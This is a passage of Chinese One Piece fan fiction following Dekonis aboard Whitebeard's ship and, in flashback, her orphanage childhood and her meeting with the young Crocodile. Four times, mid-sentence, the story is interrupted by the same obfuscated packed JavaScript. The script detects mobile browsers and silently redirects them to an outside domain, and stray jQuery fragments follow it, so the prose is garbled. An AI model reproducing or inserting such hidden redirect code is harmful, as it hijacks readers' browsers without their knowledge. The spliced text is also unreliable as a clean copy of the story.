话音未落,一只纤细白皙的手臂抬起来,在空中晃了一下,然后一把攥住了马尔高的嘴巴。
“吵死了混账,你们能死一死吗?”
比斯塔还在惊讶怀中的女子醒了,正想问问她的名字,却见她脑袋一歪,又睡死过去了。
马尔高:“唔唔唔唔??!!”不是,他无辜的嘴巴被人抓住拧了半圈,然后突然说不出话了!
众人为这突变愣了片刻,随即爆发出震耳欲聋的笑声:“马尔高你这家伙,还说没占人家便宜,难道还等着她再醒过来给你抽个嘴巴子吗?”
甚至还有人哀怨道:“被美女摸嘴巴诶,我也想……”
没再理会气得七窍冒烟的马尔高,比斯塔将女人背起来,在船上找了个空闲的房间将其安置好。
身边无数碎碎念“不准偷偷占她便宜哦”、“我还等着求婚呢”、“要求婚的明明是我”听得比斯塔头皮发麻,忙不迭地关上门出去了。
黛可妮斯就这样,睡了个昏天黑地。
直到她被饿醒,睁开眼睛一个轱辘滚下床,连脑袋还没清醒,破门而出,全靠鼻子的指引,一路狂奔到厨房。
所有排好队正在等厨房开饭的白胡子海贼团成员:?
不是,怎么有个家伙不排队啊!
孔武有力的厨师大人,刚端着大钢盆的饭菜出门,就见到一个红头发的饿狼……不对,看错了,是个红头发的女人。
下一秒这女人就夺过了他手中的饭菜,开始狂奔。后面的白胡子海贼团成员一看,这哪里成?怎么会有人敢胆在开饭时刻挑衅作乱,简直就是小瞧他们——
正要怒吼着追上去,却感到脚下齐齐一绊,身体失去平衡,然后乌七八糟地摔成一团。
“唉呦,是谁绊我!”
“肯定是你这个混小子动作太慢,害得我摔倒!”
“是你吧混账!故意站着不动!”
——顺势开始了痛扁身边人的大混战。
而这场混乱的始作俑者,正以手抓饭,疯狂地往嘴里塞去,吃得满脸满身都是。
昨天把这女人带回来真的不是一个错误的决定吗?比斯塔沉默扶额,以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14093170|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼神示意马尔高想想办法,毕竟全场只有他一个人没有被奇怪的丝线捆住脚。
马尔高嘴角不断抽搐,试图靠近那个吃相极其恐怖的女士……还可以称之为女士吗?简直就是个怪物。
“那个,我说啊……”
埋头苦吃的家伙没有理他,她就这样吃着吃着,然后突然整个人愣住,手上抓着的饭也掉了,脸上甚至露出了如梦初醒的惊讶表情。
不是,不要告诉他这家伙其实是在梦游啊!
“和你刚上船的时候很像啊,马尔高。”
白胡子老爹不知道什么时候站在了他身后,马尔高无奈地苦笑:“老爹,我刚上船那会儿……再怎么说,也不至于到这种程度吧?”
“你小子,完全就是一模一样。”白胡子大笑,指着那个正在慌张擦脸的女子,“孩童时期吃不饱饭养成的吃相,就算长大成人后表面上改正了,饿得失去意识后就会恢复本相。”
黛可妮斯显然也已经弄明白了眼下的状况,尴尬地一边擦嘴一边悄悄后退,手里忙不迭地将能力的束缚给解开:“呃,虽然看上去没什么说服力,但我真的不是故意的……”
但是众人对她的印象,已经从「好一位落难的美女」变成了「好一头能抢饭的恶狗」。
“好了,小丫头,”白胡子一手拎起她的后衣领,“一大早就给我弄得鸡飞狗跳,我看你也好的差不多了,收拾收拾离开吧。比斯塔,去给她找张海图,再拿个指针。”
众人中有人发出失落的声音:“诶……那我还怎么求婚啊?”
“不行!这个绝对不行!”黛可妮斯硬着头皮胡乱挣扎,指尖银线飞出,不管不顾地将自己的脑袋瓜和这个大海贼的手掌缝在一起,“——既然能遇到你,那我绝对不能走!我必须一直跟着你!”
白胡子瞅着手上这块牛皮糖,挑起眉毛。马尔高想伸出的手又缩了回来,尴尬地绕到后脑勺挠了挠。众海贼瞪大眼睛瞅着她,从未见过向老爹如此撒泼打滚的家伙。
“我可不记得有认识过你这样的小丫头。”白胡子将手掌放低了些,以便让黛可妮斯的脚尖能够碰到地,“现在,不要再胡闹了,离开。”
黛可妮斯抬起头,视线直直地、毫无惧意地望向眼前的高大海贼。她知道这是谁,在晕过去的前一刻,她就认出了这个人,这个威震四海的海贼,即便已经高龄,却依旧不曾被年岁击败,甚至连脊背都没有弯过一弯。
“你是白胡子,我必须要跟在你的身边。”
她倔强地站得笔直,视线一闪不闪,碧绿色的眼眸里全是决绝。即便要和海贼为伍,即便要恳求海贼,但既然海风将自己送到了这个人身边,就表明……
“我的亲人要杀你,他为此离开了我。”黛可妮斯说,“只要跟在你的身边,就一定能遇到他。”
白胡子冷哼一声:“这就是你的理由?”
“是的。”
“我必须要弄清楚,”她咬了咬牙关,“弄清楚,他到底还是不是……”是不是自己记忆中的,那个相持相携的弟弟。
19.第 19 章
半个又黑又硬的小圆面包,一碗清澈见底的米汤。
这些是慈心福利院在午餐时会给孩子们发放的食物,晚餐的内容也差不太多,偶尔会多半块干硬的面饼。
肮脏而顽皮的孩子是不允许吃饭的,于是孩子们必须在开饭前,洗干净自己的双手和脸蛋,规规矩矩排好队,才能领取那些少得可怜的食物。
身着白色制服的修士,面目慈祥地将黑面包放进小女孩的手里,又给她的碗里浇了一勺米汤。
红色头发的小女孩默不作声,转身要走,却被修士叫住。
修士的笑容不变:“小黛可,你是不是忘记了什么?”
黛可妮斯步伐一顿,转过身来,向修士鞠躬:“感谢您的慈悲。”
“不错,”修士赞许地点点头,“去吧,下一个。”
黛可妮斯几口喝完米汤,将面包塞进兜里,立刻离开了大厅。
她从不和那些孩子们一起用餐。
那些家伙不喜欢她,但黛可妮斯完全不放在心上,因为她也讨厌他们。
“那红毛的表情,真是令人作呕,她甚至忘了感谢修士大人。”
“小声点,难道你又想被她缝在墙上吗?”
几个正在用餐的孩子,交头接耳。
“我一定会给她点颜色瞧瞧,”一个男孩子愤怒地攥紧了拳头,“只要不被修士大人发现,我想做什么就做什么……就算她去向修士大人告状,也不会有任何结果。”
“那家伙真是太碍眼了,尤其是那一头红毛,真恶心。”
“什么时候修士大人才会把她驱逐出去啊……”
黛可妮斯慢吞吞地啃着面包,走进福利院周围的森林。
她走走停停,时不时捡起几块石头或者一段树枝,放进布兜里。
她对这片森林已经很熟悉了,被人追着打的时候,她经常会跑进这里,一躲就是一天,直到那些孩子离开。
她越走越深,视线被一抹不常见的亮丽颜色所吸引,绕过几棵树,才发现那是一朵正在盛开的淡粉色雏菊,不声不响地生长在草丛中。
伸出手指,爱惜地抚摸花瓣,她犹豫了许久,最终还是放弃了将花朵折下,而是站起身,继续向前。
不知走了多久,她终于走到了森林的尽头,树木渐渐稀疏,视野变得开阔,这里有一处隐蔽的小海湾。
黛可妮斯偶尔会来到这个被树木遮掩的海湾,眺望大海,享受不被打扰的安静时光。
但是今天,这处海湾里,多了一条破损的小木船。
黛可妮斯立刻放轻了脚步,躲在树干的后面,遥遥观察木船旁的情况。
从木船旁的脚印可以判断,这条船上曾经搭载了一个人。
有人从此地上岛了。
那艘破烂的木船顿时在黛可妮斯的眼里,变得扎眼起来。
这原本是只属于她一个人的秘密基地,现在却多了个陌生的外来者,这让黛可妮斯感到烦心极了。
木船旁的脚印延伸到森林里,渐渐无法分辨。黛可妮斯不敢在森林里作过多的停留,快步离开。
回到福利院的时候,大厅里的钟表已经指向晚上八点,黛可妮斯借着夜色溜回她的宿舍。
昏暗而狭窄的房间里,挤下了六张双层床,有十二名孩子会在这里休息。床铺又窄又短,有时黛可妮斯宁愿睡在冰冷坚硬的地板上,也不愿躺在这蜷缩起四肢才能容身的床褥上。
她一走进房间,里面的说笑声就消失了,孩子们装模作样地忙着自己的事,实则在用余光偷偷打量她的反应。
黛可妮斯很快就发现了今天的恶作剧:一滩骚臭而发黄的不明液体,被倒在了她的被子上。
她问:“是谁干的?”
没有人回复她。
福利院提供的被褥本就算不得干净,有些甚至还有跳蚤藏身,但不管怎么说,她的被子糟蹋成这样,肯定是洗不干净了。
她一抬手,手指间一道银光闪过,直奔上铺的女孩而去。那女孩本来还在偷偷发笑,见状登时要跳起来:“又不是我干的!你是不是有毛病……”
话音未落,那道银色的光就像一枚带着线的银针,将她和墙壁牢牢缝在了一起,动弹不得。
剩下的女孩们顿时从床上一跃而起,统统跑出了房间。
“谁让你是我上铺,”黛可妮斯一把扯散女孩的麻花辫,将她的头发揉成一团乱草,“你不告诉我是谁,我就只能默认是你尿了床……这样吧,我把你的嘴缝上,让你一整天吃不上饭,也喝不了水。”
说着,她的手掌就慢慢摸向女孩的脸。
女孩本来还在破口大骂,嘴硬了一会儿,见黛可妮斯手中的银光已经扎到她嘴上,终于恐惧着哭泣起来:“是杰瑞那家伙……是杰瑞!他在这里尿的!”
黛可妮斯立刻拽着那脏被子冲出门,身后还在传来女孩的哭喊:“你个混账……把我放下来啊……”
礼貌地敲响男孩寝室的门,甫一开门她便挤身而入,里面的男孩子们还没有反应过来,黛可妮斯就已经将那脏被子甩在了杰瑞的头上。
银光从指尖发出,像一条游蛇,飞速地在被子边缘穿梭,待众人回过神来,肮脏的被子已经牢牢地缝在了杰瑞头上。
那滩尿液正对着他的脸。
杰瑞发疯地挣扎,透过被子只能发出呜呜的喊声,几个男孩冲过去撕扯他头上的被褥,剩下几人来抓黛可妮斯,却齐齐摔倒在地上,扭头一看,才发现自己的脚不知何时已经和他人缝在了一起。
黛可妮斯退出房间,平静地关上门,将那些不堪入耳的辱骂声关在了门里。
她回到自己的宿舍,卷起那仅剩的单薄褥子,在众目睽睽中,离开了宿舍。
反正,她早就受够了和这群家伙住在一起的生活。
小心翼翼避开巡夜的修士,她跑过走廊,经过楼梯,来到阁楼的最高层。
这里一般是用于储放那些不常用的家具,大多房间都上了锁,黛可妮斯一一摸过房间的把手,希望找到一扇可以打开的门。
阁楼上没有点灯,漆黑一片。黛可妮斯摸着墙壁慢慢前进,并没有注意到落满灰尘的地板上,有着一行清晰的脚步拖行痕迹。
在那些脚步周围,还洒落着猩红的血液。
为了避免被修士发现,黛可妮斯放轻脚步,蹑手蹑脚地来到一扇门前,微微转动把手,惊喜地发现这个门锁已经损坏,她轻而易举地推门而入。
门开了,这个房间里有一扇小小的窗户,月光透过窗棂洒进来,于是黛可妮斯得以窥见这个房间的全貌——
到处都是灰尘,层层叠叠堆放到天花板上的破烂木椅子,以及——在她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14137408|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进来的那瞬间,一个骤然急促起来的喘息声。
角落的血泊里,瘫坐着一个男孩。他死死瞪着黛可妮斯,双眼睁大到一个恐怖的程度,让人担心那眼球会不会从眼眶中滚下来。
他面色惨白,比今晚的月光还要白,双手紧紧捂住腹部,那里仍在不断涌出鲜血,呈现出暗红色的脏器,滑腻腻地,从他的指缝间随着鲜血一同流出来。
他看着黛可妮斯走进来,又关上门,嘴唇动了动,想说些什么,喉头却再次涌上一股热血,从嘴角喷出来。
黛可妮斯没见过这么多的血,也没见过这样濒死的人。
但她并不害怕,这个陌生的男孩显然已经一只脚迈进了棺材,无论如何也不可能对她构成威胁。
她好奇地打量着他,这是她第一次见到人类内脏的模样。
这个男孩居然还有一口气。
这让她想起,有一次修士带着他们去镇上打扫卫生,做「善事」。路过了集市,她看到鱼贩的铺子上,那些剖开肚子、被掏出内脏的鱼。
失去内脏的鱼,还未完全死透,神经仍在抽搐,嘴巴也一开一合,似乎是在贪恋生前的最后一口呼吸。
那些不能食用的内脏,被鱼贩丢进旁边的木桶里,滑腻而腥臭,现在想起来,似乎和人类内脏的模样相差不大。
黛可妮斯蹲在男孩的面前,轻轻拨开男孩捂住腹部的手掌,于是大股大股的鲜血喷在她的手上。
男孩无力反抗她,只是嘴角挂着一抹冷冷的笑,面如死灰,歪头靠在墙壁上,等待着死神将他从这无尽的痛苦与耻辱中解脱。
剧痛让他几乎失去了知觉,他甚至感受不到有人正在拉扯他的肠子。
但他还是睁着眼睛,盯着这个打扰他临死前最后安宁的家伙。
房门被推开时,他还以为走进来的会是死神。
但是死神不会拥有这种鲜艳的红发长发,和一对宝石般透亮的青绿色眼睛。
这个家伙将手伸进了他被割开的腹腔,还拿着他滑出来的肠子。
……奇怪,这种情况下,正常人不应该尖叫着逃跑吗?
但是紧接着,她就将他放平在地板上,一点点将他的脏器塞回去。
有银色的光在她手中闪现,男孩听见她说:“会留下很明显的伤疤哦。”
都要死了,谁还会在乎什么伤疤啊。
可是,似乎有什么东西在他的伤口边缘游走,拉扯着他的皮肉,将那道被利刃割破的腹腔豁口,慢慢地合拢,缝起来。
血液不再流出来,他感到温暖渐渐回到了自己冰冷的身体上。
终于,黛可妮斯的动作停止了,她松了一口气,洋洋得意地扯起一角男孩的衣摆,擦拭着手上的鲜血。
“让我想想,我该收取什么报酬……”她自说自话,“你还能听见吧,我要一套崭新的被褥,听见了吗?要那种能将我整个人从头到脚都盖住的被子哦。”
男孩难以置信的视线,落在自己的腹部。
那里有一道明显而丑陋的缝合痕迹,贯穿了他整个腹部,鲜血不再流出,痛楚也在缓缓散去。
眼前这个红头发的女孩,绝不是什么医生,也没有使用任何医疗器械。
但是死神就这样在他身边徘徊了片刻,又离开了。
自己似乎,能活过这个夜晚了。
20.第 20 章
“可不可以请你,不要再跟着我了。”
黛可妮斯转过身来,对着身后的男孩如是说。
“我是孤儿,福利院有义务接纳我,”他双目平静,理所当然地说,“请将我引荐给你们的负责人。”
他一本正经的模样,让黛可妮斯无语至极。
明明昨晚还是一副半死不活的样子。
昨天夜里,出于测试自己恶魔果实能力的目的,黛可妮斯才为他缝合了伤口。效果不错,她很满意,紧接着就把褥子往地板上一铺,准备睡觉。
却被这家伙拉住,追问个不停。
黛可妮斯是吃了「缝缝果实」的裁缝人,可以用线将物品或者生物缝合在一起,也可以缝合生物的伤口。只要伤口被缝上,内部的伤势就会自行恢复如初。
这就是为什么她能救下这家伙。
当然,这样强大的外伤处理能力,所需要的消耗也不少,刚处理完他的伤口,黛可妮斯就体力耗尽,累的只想睡觉了。
随口解释了几句,黛可妮斯就一巴掌推开他,倒在地上睡着了,却没想到第二天醒来,这家伙还在她身边。
他说自己的名字是克洛克达尔,未来将会成为一个了不起的人,既然受了她的救命之恩,就一定会回报她。
他说:“我从不欠人情。”
黛可妮斯:“哦,那你给我弄一套崭新的被褥来。”
他不吭声了,显然是没钱。
克洛克达尔身上的衣服料子很好,柔软又细腻,完全看不到针脚的痕迹。黛可妮斯猜测他一定是某个有钱人家里,离家出走的叛逆公子哥。
“你这伤是怎么来的?”
克洛克达尔的脸色微微一沉:“几个不知死活的家伙罢了,我会让他们生不如死。”
黛可妮斯盯着这个身高还不到自己肩膀的小男孩,笑弯了腰。
这家伙才多大?十岁出头?居然还学着大人的模样说狠话,真的很好笑。
“不管怎么说,你需要换一身衣服,如果带着一身血去见修士,他们一定会把海军喊过来。”
黛可妮斯在杂物间里翻找着,激起一大片灰尘。克洛克达尔皱眉向后退了一步,用手掌挡住口鼻。
然后他望见黛可妮斯找到的东西,便又向后退了一步。
他难以置信:“……你什么意思?”
“穿这个啊,”黛可妮斯将手里的麻袋抖擞一下,剪开三个洞,以便让脑袋和胳膊伸出去,“这个刚刚好,不算太脏,有没有跳蚤,很符合你流浪儿童的身份,不是吗?”
克洛克达尔的五官扭曲起来,但是黛可妮斯已经抓住了他的胳膊,开始剥他的上衣。
他挣扎:“你要干什么!”
“血衣当然要烧掉,你以后记得找个抹布,去把阁楼里的血迹擦干净。”
黛可妮斯把麻袋塞他手里:“你会脱衣服对吧,那就自己换。”
克洛克达尔陷入了诡异的沉默。
黛可妮斯直接走出房间,过了好一会儿,那个家伙才走出来,一双手还狠狠地揪着身上的麻袋。
看来是狠狠地下了一番心理建设呢,真是委屈这个「小少爷」了呢。黛可妮斯撇嘴。
她将克洛克达尔领到修士面前,就跑到大厅去领取午餐。
当她开始啃面饼的时候,克洛克达尔来到大厅找她。他已经换上了修士提供的粗布衣服,真不知道他是怎么让那些虚伪的家伙留下他的。
“你这吃的是什么鬼东西?”
他又皱起眉毛了。
“你不吃,就拿来给我。”黛可妮斯冲大厅那边努努嘴,“自己去领。”
他只往那边走了几步,便一脸嫌弃地回来了:“你住在哪里?我要和你住一起。”
虽然不知道这家伙为什么还要跟着自己,但黛可妮斯还是诚恳地回答了他:“昨天之前,我和那些女孩住在一起,你要是想加入,就去问她们。”
“那算了。”他想都没想就拒绝了,“你昨晚为什么会在阁楼?”
“这个嘛,有各种各样的原因呢……”
话音未落,黛可妮斯就被人推了个踉跄,扭过头,杰瑞一行人正路过,还对着她扮鬼脸。
她便指着杰瑞,对克洛克达尔说:“这就是原因之一呢。”
“你被他们孤立,还受到了霸凌,”克洛克达尔已经觉察到了部分孩子对黛可妮斯的态度,“为什么不去告诉修士?”
“天真的家伙。”
没理会还在小声咒骂的杰瑞等人,黛可妮斯径直离开大厅。
听到身后的脚步声,一回头,才发现克洛克达尔还跟着她。
“对于孩子们内部发生的一切,修士们都会视而不见,这样也方便我报复他们,懂吗?”黛可妮斯叹着气双手叉腰,“不要再跟着我了,除非你能给我带来一套崭新的被褥。”
克洛克达尔抓住了她的胳膊:“那个房间和走廊里的血迹太多了,我们需要一起擦。”
“凭什么?”黛可妮斯瞪大眼睛,“你搞清楚,是我救了你的命。”
“是的,所以我会为你找到新的被子,但如果你不按我说的做,我就把你的恶魔果实能力告诉那些修士。”
男孩微微仰着头,说话却带着一种命令的口吻,在那一瞬间黛可妮斯觉得自己就像是他的女仆或者保姆。
他的语气很平淡:“那些自称慈善家的修士,可算不上什么高尚,他们私底下……”
黛可妮斯打断他:“我知道他们在贩卖儿童。强壮些的卖给海军,剩下的就充作奴隶。”
克洛克达尔掀起眼皮,像是看白痴一样瞅着她:“那你大概不知道,能力者会被卖到哪里吧?”
她的确不知道。每年福利院都会打着各种各样的借口,将那些年满十六岁的孩子们统统送走,黛可妮斯还剩一年。
她以为自己顶多会被卖到某家人户里作女佣。
“你想怎样?”
“我需要一个帮手,”他说,“你服从我的命令,我就会带你一起逃出去。”
「服从」这个字眼让黛可妮斯很不爽,尤其对方还只是一个比她矮得多的小屁孩。
于是她露出一个甜甜的微笑,弯下腰,在对方怔愣的那一刻,一巴掌捂住他的嘴。
瞬间,银线就将那张不可一世的嘴巴缝死了。
难以置信的男孩推开她,眼睛瞪大,鼓起腮帮子想挣脱束缚,当他发现自己只是在做无用功的时候,一双黑色的眼睛顿时充满了怒火。
黛可妮斯留意到他攥紧的拳头抬了抬,不知出于什么原因,又放下了。
很好,省的她进一步将他缝在墙上。
“你只是在寻求我的帮助,小弟弟。”黛可妮斯说,“别一副高高在上的样子,看了就让人讨厌。”
她拍了拍男孩的脑袋,做了个鬼脸,转身就走。
黛可妮斯今天的打算是,找找阁楼里还有没有可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14151437|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以溜进去的房间,稍微打扫一下。
她可不想每天晚上都在脏兮兮的灰尘和血渍上面睡觉。
蹑手蹑脚避开众人的视线,想要溜上阁楼,却听见不远处穿来了修士的声音。
“你想说什么,孩子?”
她心底传来一股不好的预感,一回头,果然是克洛克达尔那小子,他扯住了修士的袖子,一双眼睛还威胁地盯着黛可妮斯。
修士已经隐隐有些不耐烦,但仍是保持着脸上慈爱的笑:“孩子,你怎么不说话?”
黛可妮斯头皮发麻,连忙冲到修士面前,一把抓住克洛克达尔的手,顺便给他解除嘴上的束缚,向修士笑笑。
“真抱歉,修士大人,他刚来到这里,有点害怕,请原谅他失礼的行为……”
克洛克达尔善解人意地往她身后缩了缩,一张脸上露出慌张的神情,小声道:“没有人愿意和我做朋友……”
“原来如此,”修士笑道,“那正好,小黛可你来照顾他吧,最好把他当作亲弟弟一样对待哦。”说罢就离开了。
黛可妮斯望着修士离开的身影,才意识到自己有个把柄落在别人手里是什么感觉。
“早知道就不救你了,”她咬牙切齿,“忘恩负义的家伙。”
得逞的笑意从男孩脸上一掠而过,他从清洁车上扯下两块抹布,递给黛可妮斯一块。
“以后请多多关照,「姐姐」,”他着重强调了一下这个词,“就让我们从清洁地板上的血迹开始吧。”
于是黛可妮斯无可奈何地回到了昨晚的房间,来回不知跑了多少趟,才将地板和走廊上的血迹擦干净。
每次溜出去倒血水的时候,都要心惊胆战的,生怕被发现。
好不容易收拾个差不多,黛可妮斯坐在墙角累得不想动了,那家伙却过来拽她的胳膊:“灰还没擦干净,别休息。”
“已经足够干净了,”她拍开克洛克达尔的手,抱着头倒在地上,“你有洁癖就继续,没人拦着你当苦力。”
克洛克达尔被她不争气的样子气得手发抖。明明角落里的污垢还没擦干净,那些堆放混乱的破椅子也需要整理,而这家伙居然——已经睡着了?!
他伸脚踢了踢黛可妮斯,女孩的脸上还沾着污渍,袖口裤脚也被打湿,可她就这么不管不顾地屈肘当枕,睡在了地板上。
真不卫生,克洛克达尔一脸嫌弃,低头看看自己,也是一样的脏兮兮。
他撇撇嘴,也疲倦地坐下来,顾不了那么多了。
因为憧憬海上的大海贼,而独自驾船出海,却没想到船只受损,他不得不在此地登陆。
克洛克达尔本想借此机会招揽船员,再抢一条新船来出航,兴致勃勃走进了酒馆,迎接他的却是扑头盖脸的嘲笑。
“毛都没长齐的小兔崽子,居然还装模做样要出海——真让本大爷笑掉大牙啦!”
“呜呜,还要招揽船员呢!怎么不去你娘的怀里哭一场,求她给你找个大副,再找个航海士呢?哇哈哈哈哈哈!”
刺耳的嘲笑让他的血气上涌,当反应过来时,手里多了一把冒着烟的火枪,以及对面抱腿惨叫的大汉。
“该死的小混账!”惨叫的大汉抽出一把刀来,“我要将这个不知死活的小虫子剁成碎块!”
酒馆里的围观者全在哈哈大笑,他却躲闪不及,被一刀划破了肚子,而大汉也因右腿中枪而摔倒在地。
他捂着肚子,仓皇而逃。
21.第 21 章
“听上去,你的那位朋友不像个好东西啊。”
马尔高摸着下巴,伸手从盘中扯下一块披萨塞进嘴里:“就是他想要挑战老爹吗?”
“是不是很不自量力?”黛可妮斯望着啤酒杯内壁的气泡发呆,“说实话,像他那样狡猾的家伙,突然说出这种热血笨蛋的台词时,我真的以为他脑袋坏掉了。”
“别这么说,男人有点野心才正常,”比斯塔哈哈大笑,“谁不想在这片大海上驰骋?只可惜他挑错了目标,甚至不用老爹操心,瞧瞧我们——我们会让他清醒。”
黛可妮斯没有说话。
本以为白胡子不会允许她的跟随,她连偷偷潜入的计划都做好了,可是没想到……
眼下这一番和谐共处的景象是怎样?
跟着他们启航,抵达了一座民风淳朴的小岛,这帮家伙们全然没有她幻想中的凶神恶煞,更没有一分一毫烧杀劫掠的意图,就像个再普通不过的船队,在此地落脚休整。
包下了一整座旅馆,并快快乐乐的大吃大喝。
……这对吗?令人闻风丧胆的白胡子海贼团,看上去居然,只像是一群普通人?
更严谨的说法,是一群吵吵闹闹、超级能打的、又心地善良到莫名其妙的普通人。
黛可妮斯瞅着眼前这群争夺最后一块披萨而大打出手的家伙们,满脸黑线。
这真的是海贼该有精神面貌吗?你们能不能干一些违法乱纪罪孽深重的事啊,她真的觉得自己的三观被狠狠震撼到了,甚至能从这帮家伙的身上看到自家餐厅那个花臂大叔和秃头老板的影子。
很蠢笨、又很好欺负的家伙们,无论她怎样饱含恶意地试探,他们都会一笑而过。
“黛可小姐的弟弟,算是离家出走了吧?”
“等他找上门来,我们一定替你好好教训他,居然让你这么担心!”
“跟着我们就不用害怕了哦,莫桑比克号的掌舵人,可是整个大海数一数二的!”
“所以黛可小姐,你什么时候能接受我的求婚?”
嗯,还有一堆在各种时刻各个角落,对她展开求婚行动的笨蛋。
无视掉面前正单膝跪地的家伙,黛可妮斯流畅而自然地绕开,揉着肩膀想要回到自己的房间休息,脚步刚踏上楼梯,就听见一旁角落里几名海贼的讨论声。
虽然尽可能压低了声音,但还是难掩其中的兴奋之意:“刚刚埃法尔那小子也失败了,我就知道他不行……”
“下午该谁了?怎么还没轮到我?”
“你们几个真的有在公平竞争吗?话说马尔高那家伙是不是偷跑了,我刚才还看见他在饭桌上和小黛可有说有笑的……”
“什么公平竞争?”黛可妮斯面如黑铁,无声无息地站在他们的身后,“让我也听听。”
“就是说啊……”几个海贼在抬起头后齐齐傻掉,连手里的羊皮纸也吓掉了。
黛可妮斯最近一直在向比斯塔学习单词和语法(说实话他是个比鹰眼还要好的老师),于是此时的她眼疾手快地捡起羊皮纸,清清楚楚地看到了其上的内容:已经被拒绝的失败者。
后面是一堆名字,看着格外眼熟,似乎都是向她求过婚的。
几个海贼冷汗狂飙,脸上刚挂出尴尬而讨好的谄媚笑容,就见她手掌一伸:“拿笔来。”
手指捏着羽毛笔,黛可妮斯一气呵成行云流水般,将其上的名字全部划掉,并在“已经被拒绝的失败者”后面写下:“白胡子海贼团全员”。
写字这么流畅,足以看出比斯塔这位老师的教学能力,以及心理承受能力是多么强大了。不然也不可能搞定黛可妮斯这个顽劣的无知文盲。
将纸笔拍回到桌上,黛可妮斯拧头就走,全然无视掉后面那些石化的海贼们。
她还在餐厅工作的时候,也遇到过不少这样的家伙,由此练就了一番流畅而滴水不漏的拒绝技巧和话术,来确保每一位追求者都能体验到独一无二的受挫和打击感。
但是大家的脾气实在是太好了,甚至上一分钟黛可妮斯刚刚拒绝了他们的船匠,下一分钟船匠先生又开始不厌其烦地给她讲解船只保养的诀窍,以至于黛可妮斯有很长一段时间都是在莫桑比克号的船舱里度过的。
黛可妮斯的黑隼号,和莫桑比克号一相比还是太过不起眼了,甚至当大家将黑隼号用绳子吊着放进船舱,她才发现莫桑比克号的救生快艇比黑隼号还大一圈。
摇摇头离开旅馆,回到船上。百无聊赖地再度检查了一番黑隼号的设备,黛可妮斯一钻出船舱,才发现夜色已经深了,岸上旅馆也不再发出吵闹的欢笑声,大家都歪七扭八地睡倒在了地上。
她抬头望向星空,手指抓着背包的布带,忍不住摸索进去,抓出那只熟悉的小电话虫。
自从那天后,她遗忘了这只小电话虫,但不知为何,又在今日想起。她沉默着拨通,将小电话虫举至眼前。
本以为依旧会无人应答,但是在片刻后,那只小电话虫睁开了眼睛。
电话被接通了,但是没有人说话,黛可妮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14174304|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斯大概能想象到对方的模样和姿态。靠在船舷边上,唇边的雪茄在黑暗中亮着火光,他一定还是衬衫西裤加皮毛大衣的装扮,幼稚又笨拙地将自己伪装作成熟的大人。
“……黛可。”
他的声音传过来,带着试探。她一时间想要愤怒地质问他,又莫名觉得没意思,便抿着嘴唇继续沉默。
“我还活着,黛可。”
谁问他这个了?
她终于开口:“在哪里?”
克洛克达尔微微一默,沾满鲜血的手指撩开已经散乱的发丝,他轻轻的吸了一口雪茄,然后移到旁边的尸体上摁灭火光。
尸体还睁着一双难以置信的眼睛,手里再怎么握着锋利的钢刀,也无力挥起。克洛克达尔忽略身后一群满面警惕的船员,抬起一脚将尸体踹进海里。
“之前在你熟睡的时候,”他对着电话虫说,“我取过几根你的的头发。”
这个她其实知道。黛可妮斯翻白眼。
“……做成了你的生命纸。”
克洛克达尔随意擦了擦手中的血迹,用衣摆挡住自己的伤口,无事般转过身,回望他的船员们。
“等手里事情解决后,我会去找你。”
船员们表现得习以为常,在围观一场争夺船长的闹剧后渐渐散去,但是克洛克达尔知道,他要杀的不止海里那一个。
他剜开那人的心口,滚烫的热血从还在跳动的心室里喷出来,浇了他半身,怀里的电话虫突兀地叫起来,似乎也被这鲜血烫到了。
只有一个人会拨打这个电话,他本来是不敢接的。
他努力去平复呼吸,不让虎视眈眈的船员们,和电话那头的人,听出自己的颤抖。
克洛克达尔犹豫着不知道再说些什么,但黛可妮斯清脆的声音已经响起:“别说这些废话,为什么要把事情搞得如此复杂?”
